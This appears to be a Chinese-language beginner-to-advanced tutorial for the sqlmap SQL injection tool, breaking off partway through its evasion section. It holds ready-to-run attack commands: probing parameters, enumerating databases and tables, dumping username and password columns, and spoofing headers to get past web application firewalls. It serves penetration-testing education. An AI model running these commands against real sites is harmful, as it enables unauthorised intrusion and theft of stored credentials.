超详细 sqlmap 使用教程(从入门到进阶)
sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。
一、安装 sqlmap
方式一:源码安装(推荐) - git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像
- cd sqlmap
- python3 sqlmap.py -h
复制代码
方式二:APT 安装(适用于 Kali、Debian) - sudo apt update
- sudo apt install sqlmap
- sqlmap -h
复制代码
二、基本命令语法 - sqlmap -u "http://target.com/vuln.php?id=1" [options]
复制代码
- -u:目标 URL,支持 GET 和 POST 参数
- --data:提交 POST 参数
- --cookie:提交 Cookie 头
- -p:指定注入点参数
- --batch:自动确认(用于脚本执行时非交互)
- --random-agent:伪造浏览器 UA
三、典型实战用法大全(按功能分类)
1、基础测试注入点
1、自动探测 GET 参数是否存在注入 - sqlmap -u "http://site.com/page.php?id=1"
复制代码
2、测试 POST 请求参数 - sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
复制代码
3、带 Cookie 测试(如登录后才可注入) - sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
复制代码
4、指定注入参数(默认会测试所有) - sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
复制代码
5、静态请求文件(如 Burp 抓包导出的 .txt)
2、数据库识别与信息收集
1、获取数据库类型和版本 - sqlmap -u "http://target.com/?id=1" --banner
复制代码
2、获取当前数据库名 - sqlmap -u "http://target.com/?id=1" --current-db
复制代码
3、获取当前用户、权限 - sqlmap -u "http://target.com/?id=1" --current-user --is-dba
复制代码
4、获取所有数据库名 - sqlmap -u "http://target.com/?id=1" --dbs
复制代码
5、枚举数据库的表名 - sqlmap -u "http://target.com/?id=1" -D testdb --tables
复制代码
6、枚举表内字段名 - sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
复制代码
7、导出数据 - sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump
复制代码
3、绕过过滤和防护机制
1、伪造 User-Agent / Referer - sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
复制代码
2、自定义 HTTP 请求头 - sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
复制代码
3、使用随机 UA 绕过 WAF |